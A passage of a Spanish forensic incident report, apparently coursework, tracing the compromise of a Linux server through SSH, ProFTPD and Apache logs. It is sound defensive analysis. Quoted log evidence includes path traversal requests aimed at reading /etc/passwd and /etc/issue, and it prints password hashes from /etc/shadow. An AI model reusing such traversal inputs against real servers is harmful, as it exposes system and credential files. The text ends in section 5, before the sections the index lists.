ANÁLISIS DE SISTEMAS LINUX

UD5ACT1

Memoria realizada por Carles Ochoa

Índice

Objetivos....3
1. Determinar la IP del atacante....3
2. Descubrir cuál es el usuario que se conectó por SSH y a qué hora....5
3. Encontrar el servicio sobre el que se realizó un ataque de fuerza bruta y ver en qué hora sucedió....7
4. Revisar si se realizó alguna modificación sobre algún usuario. Descubrir qué le cambiaron y a qué hora....10
5. Sabemos que también se realizó un ataque por path traversal. Descubrir dónde y en qué hora....13
6. Para conseguir persistencia, es probable que el atacante haya dejado una webshell. Descubrir cuál es y si se llegó a utilizar....17
7. ¿Qué archivo se compiló para realizar la escalada de privilegios? Qué vulnerabilidad (CVE) utilizó?....21
8. Averiguar qué vulnerabilidad (CVE) se utilizó como vector principal de entrada en la máquina....24
Resumen Ejecutivo....27
Línea temporal resumida....29

Contexto

Un sistema Linux de nuestra empresa ha sido comprometido por al menos una vulnerabilidad el 10 de junio de 2021. No sabemos hasta qué punto el atacante ha conseguido obtener privilegios ni qué acciones ha realizado una vez dentro del sistema. Como parte del personal forense de la empresa debes analizar lo ocurrido.

Nota sobre la zona horaria

La zona horaria del sistema comprometido es UTC, tal como se confirma en el archivo /etc/timezone del sistema analizado:

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/etc/timezone

Etc/UTC

┌──(root㉿kalicarles)-[~]
└─#
```

Por lo tanto, todas las horas documentadas en el presente análisis corresponden a UTC. No es necesario aplicar ningún ajuste horario adicional.

Objetivos

1. Determinar la IP del atacante.

La dirección IP del atacante es la 10.1.0.7.

Detalles de la conexión:

- Usuario: han_solo
- Fecha: 10 de junio de 2021
- Hora: 22:32:29
- Puerto origen: 47218

La otra conexión (10.0.2.2) es anterior (octubre) y probablemente legítima (red interna de VirtualBox).

```
┌──(root㉿kalicarles)-[~]
└─# grep "Accepted" /mnt/sistema_root/var/log/auth.log*

Oct 29 19:26:05 ubuntu sshd[962]: Accepted password for vagrant from 10.0.2.2 port 54757 ssh2
Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Esta IP no pertenece a la red local del sistema (la cual utiliza el rango 10.0.2.0/24) y aparece exclusivamente durante el incidente del 10 de junio de 2021.

What?

Se detectó una conexión SSH exitosa desde esta IP, autenticándose como el usuario han_solo. Esta conexión es la evidencia principal que identifica al atacante.

When?

El 10 de junio de 2021 a las 22:32:29 UTC. No hay registros de esta IP en fechas anteriores, lo que confirma que fue utilizada exclusivamente durante el incidente.

Where?

La conexión se registró en el archivo /var/log/auth.log del sistema Linux comprometido, específicamente en el registro del servicio SSH.

Why?

El atacante utilizó esta IP como origen para acceder al sistema de forma remota después de haber comprometido las credenciales del usuario han_solo.

How?

Desde esta IP, el atacante se autenticó correctamente en el servicio SSH utilizando las credenciales del usuario han_solo, quedando registrada la conexión en los logs del sistema.

Which?

La IP 10.1.0.7 queda identificada como el origen de la conexión maliciosa. El archivo /var/log/auth.log contiene la evidencia de esta conexión, y la cuenta de usuario han_solo fue la utilizada para el acceso.

Evidencias

Captura 1: Identificación de la IP en los logs de autenticación

Comando ejecutado: cat /mnt/sistema_root/var/log/auth.log | grep "Accepted password" | grep "10.1.0.7"

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/log/auth.log | grep "Accepted password" | grep "10.1.0.7"
Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

En el archivo /var/log/auth.log se observa una conexión SSH exitosa desde la IP 10.1.0.7. El log muestra claramente la fecha (10 de junio de 2021), la hora exacta (22:32:29), el usuario autenticado (han_solo), la IP de origen (10.1.0.7) y el puerto origen (47218). Esta es la evidencia principal que identifica la IP del atacante, ya que representa el momento en que el atacante logró acceso remoto estable al sistema.

Captura 2: Comparativa con conexiones legítimas para confirmar que 10.1.0.7 es maliciosa

Comando ejecutado: cat /mnt/sistema_root/var/log/auth.log | grep "Accepted" | grep "10.0.2.2"

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/log/auth.log | grep "Accepted" | grep "10.0.2.2"

Oct 29 19:26:05 ubuntu sshd[962]: Accepted password for vagrant from 10.0.2.2 port 54757 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

La IP 10.0.2.2 corresponde a conexiones registradas en octubre de 2020, muy anteriores al incidente. Esta IP forma parte del rango de red NAT de VirtualBox (10.0.2.0/24), utilizado típicamente en entornos de desarrollo y pruebas. Estas conexiones corresponden al usuario vagrant y se realizaron en fechas muy anteriores al ataque. En contraste, la IP 10.1.0.7 no tiene ningún registro previo en el sistema y aparece por primera vez coincidiendo con las actividades maliciosas del 10 de junio de 2021.

2. Descubrir cuál es el usuario que se conectó por SSH y a qué hora.

El usuario que se conectó por ssh fue han_solo. En la captura podemos ver que se conectó a las 22:32:29 el 10 de junio de 2021.

```
┌──(root㉿kalicarles)-[~]
└─# grep "Accepted" /mnt/sistema_root/var/log/auth.log*

Oct 29 19:26:05 ubuntu sshd[962]: Accepted password for vagrant from 10.0.2.2 port 54757 ssh2
Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

er en qué hora sucedió

Análisis con las 7W

Who?

El atacante que se conectó por SSH utilizando el usuario han_solo. Este usuario existía previamente en el sistema (creado en octubre de 2020) y fue el elegido por el atacante para acceder de forma remota.

What?

Se produjo una conexión SSH exitosa al sistema utilizando las credenciales del usuario han_solo. Esta conexión fue el resultado directo del cambio de contraseña que el atacante realizó minutos antes mediante la explotación de Drupal.

When?

El 10 de junio de 2021 a las 22:32:29 UTC. Este timestamp está documentado en el archivo /var/log/auth.log y marca el momento exacto en que el atacante logró acceso remoto estable al sistema.

Where?

La conexión se realizó a través del servicio SSH del sistema Linux comprometido, quedando registrada en el archivo de log /var/log/auth.log. La conexión se estableció desde la IP 10.1.0.7 al puerto SSH 22 del sistema víctima.

Why?

El atacante necesitaba un acceso remoto estable y con funcionalidad de shell interactiva para poder ejecutar comandos, escalar privilegios y establecer persistencia en el sistema. SSH proporciona este tipo de acceso de forma mucho más eficaz que el acceso inicial a través de la vulnerabilidad web.

How?

El atacante, después de haber comprometido el sistema mediante la vulnerabilidad CVE-2014-3704 en Drupal, ejecutó el comando passwd para cambiar la contraseña del usuario han_solo. Con las nuevas credenciales, se autenticó correctamente en el servicio SSH, como se evidencia en los logs.

Which?

La cuenta de usuario han_solo fue la utilizada para el acceso. El archivo /var/log/auth.log contiene el registro de la conexión. Además, este acceso permitió al atacante ejecutar sudo su y obtener privilegios de root, afectando así a todo el sistema.

Evidencias

Captura 1: Identificación del usuario y hora en los logs de autenticación

Comando ejecutado: cat /mnt/sistema_root/var/log/auth.log | grep "Accepted password" | grep "10.1.0.7"

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/log/auth.log | grep "Accepted password" | grep "10.1.0.7"

Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

En el archivo /var/log/auth.log se observa claramente la conexión SSH exitosa. El log muestra que el usuario autenticado es han_solo, la fecha es 10 de junio de 2021, la hora exacta es 22:32:29, y la IP de origen es 10.1.0.7. Esta es la evidencia directa que identifica tanto el usuario como la hora de la conexión.

Captura 2: Confirmación de que el usuario han_solo existía previamente en el sistema

Comando ejecutado: grep "han_solo" /mnt/sistema_root/etc/passwd

```
┌──(root㉿kalicarles)-[~]
└─# grep "han_solo" /mnt/sistema_root/etc/passwd

han_solo:x:1113:100::/home/han_solo:/bin/bash

┌──(root㉿kalicarles)-[~]
└─#
```

```
┌──(root㉿kalicarles)-[~]
└─# grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep "useradd"

Oct 29 19:26:38 ubuntu useradd[1908]: new user: name=han_solo, UID=1113, GID=100, home=/home/han_solo, shell=/bin/bash

┌──(root㉿kalicarles)-[~]
└─#
```

El archivo /etc/passwd muestra que el usuario han_solo existe en el sistema con UID 1113. Este usuario fue creado en octubre de 2020 (como se puede ver en los logs de creación de usuarios) y tenía una contraseña original que fue modificada por el atacante durante el incidente.

Captura 3: Contexto del cambio de contraseña que permitió el acceso SSH

Comando ejecutado: grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep "passwd"

```
┌──(root㉿kalicarles)-[~]
└─# grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep "passwd"

Oct 29 19:26:39 ubuntu gpasswd[2017]: user han_solo added by root to group sudo
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo

┌──(root㉿kalicarles)-[~]
└─#
```

Esta captura muestra que 26 segundos antes de la conexión SSH (a las 22:32:03), se produjo un cambio de contraseña para el usuario han_solo. Este cambio fue realizado por el atacante mediante la ejecución remota de código conseguida a través de la vulnerabilidad de Drupal. La secuencia temporal (cambio de contraseña seguido de conexión SSH exitosa) confirma que el atacante utilizó las nuevas credenciales para acceder al sistema.

3. Encontrar el servicio sobre el que se realizó un ataque de fuerza bruta y ver en qué hora sucedió.

En el fichero de log /var/log/syslog (cat /mnt/sistema_root/var/log/syslog | grep "FTP session opened" | head -20) aparecen múltiples aperturas de sesión FTP en el mismo segundo (22:21:12) desde la misma dirección IP 10.1.0.7. Cada línea muestra un nuevo proceso proftpd (el demonio de FTP) abriendo una sesión con el usuario ubuntu. Este patrón es característico de un ataque de fuerza bruta, donde el atacante realiza múltiples intentos de autenticación simultáneos o en rápida sucesión para obtener acceso al servicio.

Servicio: ProFTPD (FTP)

IP del atacante: 10.1.0.7

Hora: 22:21:12 UTC del 10 de junio de 2021.

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/log/syslog | grep "FTP session opened" | head -20
Jun 10 22:21:12 ubuntu proftpd[2304]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2291]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2300]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2294]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2298]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2301]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2292]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2305]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2295]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2303]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2297]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2293]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2296]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2302]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2299]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2306]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:14 ubuntu proftpd[2307]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:14 ubuntu proftpd[2308]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:14 ubuntu proftpd[2315]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:14 ubuntu proftpd[2317]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.

┌──(root㉿kalicarles)-[~]
└─#
```

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Esta misma IP aparece en todas las actividades maliciosas documentadas durante el incidente.

What?

Se realizó un ataque de fuerza bruta contra el servicio FTP, con múltiples intentos de autenticación simultáneos en un breve período de tiempo. El patrón observado muestra múltiples sesiones FTP abiertas en el mismo segundo, intentando autenticarse con diferentes combinaciones de credenciales.

When?

El 10 de junio de 2021 a las 22:21:12 UTC. En este momento exacto se registraron múltiples aperturas de sesión FTP desde la IP del atacante, todas dentro del mismo segundo.

Where?

El ataque se dirigió contra el servicio ProFTPD (servidor FTP) que se ejecutaba en el sistema Linux comprometido. Los intentos quedaron registrados en el archivo /var/log/syslog y también en /var/log/auth.log.

Why?

El atacante realizó este ataque como parte de su fase de reconocimiento y enumeración del sistema. Los ataques de fuerza bruta permiten probar credenciales comunes o intentar adivinar contraseñas débiles para obtener acceso al sistema a través del servicio FTP. Aunque este ataque específico no tuvo éxito (los logs muestran "no such user found"), sirvió al atacante para identificar servicios activos y posibles vectores de entrada.

How?

El atacante realizó múltiples conexiones simultáneas al servicio FTP en el puerto 21, generando múltiples procesos proftpd en el mismo segundo. Cada intento utilizaba un usuario vacío ("USER ""), como se evidencia en los logs, lo que indica que estaba probando credenciales básicas o realizando un escaneo inicial del servicio.

Which?

El servicio ProFTPD fue el objetivo del ataque. Los archivos de log /var/log/syslog y /var/log/auth.log contienen los registros de los intentos de autenticación. Además, el ataque generó múltiples procesos proftpd en el sistema durante el breve período de la fuerza bruta.

Evidencias

Captura 1: Identificación del ataque de fuerza bruta en los logs del sistema

Comando ejecutado: cat /mnt/sistema_root/var/log/syslog | grep "FTP session opened" | head -10

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/var/log/syslog | grep "FTP session opened" | head -10

Jun 10 22:21:12 ubuntu proftpd[2304]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2291]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2300]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2294]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2298]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2301]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2292]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2305]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2295]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.
Jun 10 22:21:12 ubuntu proftpd[2303]: ubuntu (10.1.0.7[10.1.0.7]) - FTP session opened.

┌──(root㉿kalicarles)-[~]
└─#
```

En el archivo /var/log/syslog se observan múltiples líneas con el mensaje "FTP session opened" todas con el mismo timestamp (22:21:12) y desde la misma IP (10.1.0.7). Este patrón de múltiples sesiones FTP abiertas en el mismo segundo es característico de un ataque de fuerza bruta, donde el atacante realiza múltiples intentos de autenticación simultáneos.

Captura 2: Verificación de los intentos fallidos de autenticación en los logs de autenticación

Comando ejecutado: grep "10.1.0.7" /mnt/sistema_root/var/log/auth.log | grep "proftpd" | grep "no such user" | head -5

```
┌──(root㉿kalicarles)-[~]
└─# grep "10.1.0.7" /mnt/sistema_root/var/log/auth.log | grep "proftpd" | grep "no such user" | head -5

Jun 10 22:21:13 ubuntu proftpd[2304]: ubuntu (10.1.0.7[10.1.0.7]) - USER "": no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:21:13 ubuntu proftpd[2291]: ubuntu (10.1.0.7[10.1.0.7]) - USER "": no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:21:13 ubuntu proftpd[2302]: ubuntu (10.1.0.7[10.1.0.7]) - USER "": no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:21:13 ubuntu proftpd[2301]: ubuntu (10.1.0.7[10.1.0.7]) - USER "": no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:21:13 ubuntu proftpd[2297]: ubuntu (10.1.0.7[10.1.0.7]) - USER "": no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21

┌──(root㉿kalicarles)-[~]
└─#
```

En el archivo /var/log/auth.log se registran los intentos de autenticación fallidos. Cada línea muestra que el atacante intentaba autenticarse con un usuario vacío ("USER ""), lo que resultaba en el mensaje "no such user found". Tras tres intentos fallidos, la conexión era rechazada. Este comportamiento confirma que se trataba de un ataque de fuerza bruta y no de conexiones legítimas.

Captura 3: Confirmación del servicio afectado (ProFTPD)

Comando ejecutado: grep "proftpd" /mnt/sistema_root/var/log/syslog | grep "STARTUP" | head -3

```
┌──(root㉿kalicarles)-[~]
└─# grep "proftpd" /mnt/sistema_root/var/log/syslog | grep "STARTUP" | head -3

Oct 29 19:34:12 ubuntu proftpd[32386]: ubuntu - ProFTPD 1.3.5 (stable) (built Thu Oct 29 2020 19:33:54 UTC) standalone mode STARTUP
May  5 15:26:53 ubuntu proftpd[1317]: ubuntu - ProFTPD 1.3.5 (stable) (built Thu Oct 29 2020 19:33:54 UTC) standalone mode STARTUP
May 14 17:31:11 ubuntu proftpd[1374]: ubuntu - ProFTPD 1.3.5 (stable) (built Thu Oct 29 2020 19:33:54 UTC) standalone mode STARTUP

┌──(root㉿kalicarles)-[~]
└─#
```

Los logs muestran que el servicio ProFTPD estaba instalado y funcionando en el sistema. La versión es ProFTPD 1.3.5, un servidor FTP común. Los registros de inicio del servicio confirman que el servicio estaba activo y disponible para conexiones externas, lo que permitió al atacante realizar el ataque de fuerza bruta.

Captura 4: Conteo total de intentos de fuerza bruta

Comando ejecutado: grep "FTP session opened" /mnt/sistema_root/var/log/syslog | grep "10.1.0.7" | wc -l

```
┌──(root㉿kalicarles)-[~]
└─# grep "FTP session opened" /mnt/sistema_root/var/log/syslog | grep "10.1.0.7" | wc -l
1033

┌──(root㉿kalicarles)-[~]
└─#
```

Se registraron 1.033 intentos de sesión FTP abierta desde la IP 10.1.0.7. Esta cifra masiva confirma el ataque de fuerza bruta, con una gran cantidad de intentos de autenticación realizados en un breve período de tiempo para intentar obtener acceso al servicio FTP.

4. Revisar si se realizó alguna modificación sobre algún usuario. Descubrir qué le cambiaron y a qué hora.

Al ejecutar ls -la /mnt/sistema_root/etc/shadow* vemos que el archivo /etc/shadow tiene fecha 11 de junio de 2021, mientras que su copia de seguridad (shadow-) es de octubre de 2020:

```
┌──(root㉿kalicarles)-[~]
└─# ls -la /mnt/sistema_root/etc/shadow*
-rw-r----- 1 root shadow 1905 jun 11  2021 /mnt/sistema_root/etc/shadow
-rw------- 1 root root   1841 oct 29  2020 /mnt/sistema_root/etc/shadow-

┌──(root㉿kalicarles)-[~]
└─#
```

Al comparar ambos archivos con diff /mnt/sistema_root/etc/shadow /mnt/sistema_root/etc/shadow-, observamos que la única diferencia está en la línea del usuario han_solo. Lo que ha cambiado ha sido el hash de la contraseña que fue reemplazado por completo. Por lo tanto se confirma que al usuario han_solo le cambiaron la contraseña.

```
┌──(root㉿kalicarles)-[~]
└─# diff /mnt/sistema_root/etc/shadow /mnt/sistema_root/etc/shadow-

28c28
< han_solo:$6$U/rfxZOD$L5GxdR7GRwK7BU0mwfsFg7rLBZ6RKM4MGWQE4HKEjRyH.XBZ4DxeO7hu.AIOF.IjxCWD5WR5t.jvdJGtNQlfM1:18788:0:99999:7:::
---
> han_solo:$1$6jIF3qTC$7jEXfQsNENuWYeO6cK7m1.:18564:0:99999:7:::
```

Hora de modificación:

Según el log /var/log/auth.log: la hora exacta fue 22:32:03 del 10 de junio de 2021.

```
┌──(root㉿kalicarles)-[~]
└─# grep -i "passwd" /mnt/sistema_root/var/log/auth.log* | grep -i "han_solo"

Oct 29 19:26:39 ubuntu gpasswd[2017]: user han_solo added by root to group sudo
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo
```

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Aunque la modificación no se registra directamente con la IP, la secuencia temporal y el contexto del ataque confirman que fue el atacante quien ejecutó el cambio de contraseña tras haber comprometido el sistema mediante la vulnerabilidad de Drupal.

What?

Se produjo una modificación en la contraseña del usuario han_solo. El hash de la contraseña en el archivo /etc/shadow fue reemplazado por completo, lo que permitió al atacante autenticarse posteriormente por SSH.

When?

El 10 de junio de 2021 a las 22:32:03 UTC. Este timestamp está documentado en el archivo /var/log/auth.log y marca el momento exacto en que se ejecutó el comando passwd para cambiar la contraseña del usuario.

Where?

La modificación se realizó en el archivo del sistema /etc/shadow, que almacena los hashes de las contraseñas de los usuarios. El cambio quedó registrado en el archivo de log /var/log/auth.log.

Why?

El atacante necesitaba credenciales válidas para acceder al sistema de forma remota y estable a través de SSH. Al cambiar la contraseña de un usuario existente (han_solo), pudo autenticarse sin necesidad de crear un nuevo usuario que pudiera levantar sospechas.

How?

Utilizando la ejecución remota de código (RCE) conseguida a través de la vulnerabilidad CVE-2014-3704 en Drupal, el atacante ejecutó el comando passwd han_solo para cambiar la contraseña del usuario. El sistema registró esta acción en los logs de autenticación.

Which?

El archivo /etc/shadow fue modificado, específicamente la línea correspondiente al usuario han_solo. También se vió afectado el archivo /var/log/auth.log, que contiene el registro del cambio

de contraseña. La cuenta de usuario han_solo quedó comprometida y fue utilizada por el atacante para acceder al sistema.

Evidencias

Captura 1: Comparativa de fechas entre /etc/shadow y su copia de seguridad

Comando ejecutado: ls -la /mnt/sistema_root/etc/shadow*

```
┌──(root㉿kalicarles)-[~]
└─# ls -la /mnt/sistema_root/etc/shadow*

-rw-r----- 1 root shadow 1905 jun 11  2021 /mnt/sistema_root/etc/shadow
-rw------- 1 root root   1841 oct 29  2020 /mnt/sistema_root/etc/shadow-

┌──(root㉿kalicarles)-[~]
└─#
```

El archivo /etc/shadow tiene fecha 11 de junio de 2021, mientras que su copia de seguridad (shadow-) tiene fecha octubre de 2020. Esta diferencia de fechas indica que el archivo de contraseñas fue modificado recientemente, coincidiendo con el incidente del 10 de junio de 2021.

Captura 2: Comparación del contenido de /etc/shadow con su copia de seguridad

Comando ejecutado: diff /mnt/sistema_root/etc/shadow /mnt/sistema_root/etc/shadow-

```
┌──(root㉿kalicarles)-[~]
└─# diff /mnt/sistema_root/etc/shadow /mnt/sistema_root/etc/shadow-

28c28
< han_solo:$6$U/rfxZOD$L5GxdR7GRwK7BU0mwfsFg7rLBZ6RKM4MGWQE4HKEjRyH.XBZ4DxeO7hu.AIOF.IjxCWD5WR5t.jvdJGtNQlfM1:18788:0:99999:7:::
---
> han_solo:$1$6jIF3qTC$7jEXfQsNENuWYeO6cK7m1.:18564:0:99999:7:::

┌──(root㉿kalicarles)-[~]
└─#
```

Al comparar los dos archivos con diff, se observa que la única diferencia está en la línea correspondiente al usuario han_solo. El hash de la contraseña fue completamente reemplazado, lo que confirma que la modificación afectó exclusivamente a este usuario y que se cambió su contraseña.

Captura 3: Registro del cambio de contraseña en los logs de autenticación

Comando ejecutado: grep "passwd" /mnt/sistema_root/var/log/auth.log | grep "han_solo"

```
┌──(root㉿kalicarles)-[~]
└─# grep "passwd" /mnt/sistema_root/var/log/auth.log | grep "han_solo"
Oct 29 19:26:39 ubuntu gpasswd[2017]: user han_solo added by root to group sudo
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo

┌──(root㉿kalicarles)-[~]
└─#
```

El archivo /var/log/auth.log muestra el registro exacto del cambio de contraseña. La línea indica que a las 22:32:03 del 10 de junio de 2021, se ejecutó el comando passwd para cambiar la contraseña del usuario han_solo. Este timestamp es 26 segundos anterior a la conexión SSH exitosa (22:32:29), lo que confirma la secuencia: primero cambia la contraseña, luego accede por SSH.

Captura 4: Confirmación de que el usuario han_solo existía previamente

Comando ejecutado: grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep "useradd"

```
┌──(root㉿kalicarles)-[~]
└─# grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep "useradd"

Oct 29 19:26:38 ubuntu useradd[1908]: new user: name=han_solo, UID=1113, GID=100, home=/home/han_solo, shell=/bin/bash

┌──(root㉿kalicarles)-[~]
└─#
```

El log muestra que el usuario han_solo fue creado el 29 de octubre de 2020, mucho antes del incidente. Esto confirma que el atacante no creó un nuevo usuario, sino que modificó la contraseña de uno existente para pasar desapercibido.

Captura 5: Secuencia temporal completa del acceso

Comando ejecutado: grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep -E "passwd|Accepted"

```
┌──(root㉿kalicarles)-[~]
└─# grep "han_solo" /mnt/sistema_root/var/log/auth.log | grep -E "passwd|Accepted"

Oct 29 19:26:39 ubuntu gpasswd[2017]: user han_solo added by root to group sudo
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo
Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2

┌──(root㉿kalicarles)-[~]
└─#
```

Esta captura muestra la secuencia completa de eventos: primero el cambio de contraseña a las 22:32:03, y 26 segundos después la conexión SSH exitosa desde la IP del atacante. Esta secuencia temporal es la evidencia más sólida de que el atacante cambió la contraseña para luego acceder al sistema.

5. Sabemos que también se realizó un ataque por path traversal. Descubrir dónde y en qué hora.

El ataque de path traversal se realizó contra el CMS Drupal, utilizando el parámetro q de la URL para intentar acceder a archivos fuera del directorio web.

Tuvo lugar entre las 22:23:24 y las 22:24:07 del 10 de junio de 2021.

El atacante intentó acceder a dos archivos sensibles del sistema operativo:

- /etc/passwd, que contiene información de los usuarios del sistema.
- /etc/issue, que revela la distribución Linux utilizada.

En los logs de Apache se ven múltiples peticiones desde la IP 10.1.0.7 con diferentes variantes de path traversal, como por ejemplo:

GET /drupal/?q=../etc/passwd

GET /drupal/?q=../../etc/passwd

GET /drupal/?q=../../../etc/passwd

GET /drupal/?q=../../../../etc/passwd

GET /drupal/?q=../../../../../etc/passwd

GET /drupal/?q=../../../../../../etc/passwd

Y también intentos similares para /etc/issue:

GET /drupal/?q=../etc/issue

GET /drupal/?q=../../etc/issue

GET /drupal/?q=../../../etc/issue

```
┌──(root㉿kalicarles)-[~]
└─# grep -a "10.1.0.7" /mnt/sistema_root/var/log/apache2/access.log | grep "drupal" | grep "etc/passwd"

10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../etc/passwd HTTP/1.1" 404 7673 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET
9; .NET CLR 3.0.30618; MAXTHON 2.0)"
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Ge
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/passwd HTTP/1.1" 404 7704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../etc/passwd HTTP/1.1" 404 7721 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3)
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/passwd HTTP/1.1" 404 7739 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/passwd HTTP/1.1" 404 7758 "-" "w3m/0.5.2"

┌──(root㉿kalicarles)-[~]
└─# grep -a "10.1.0.7" /mnt/sistema_root/var/log/apache2/access.log | grep "drupal" | grep "etc/issue"

10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../etc/issue HTTP/1.1" 404 7670 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gec
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/issue HTTP/1.1" 404 7685 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/5
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/issue HTTP/1.1" 404 7701 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2
30729; .NET CLR 3.0.30618)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../etc/issue HTTP/1.1" 404 7718 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC
C 6.0)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/issue HTTP/1.1" 404 7736 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; S
Connector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0)"
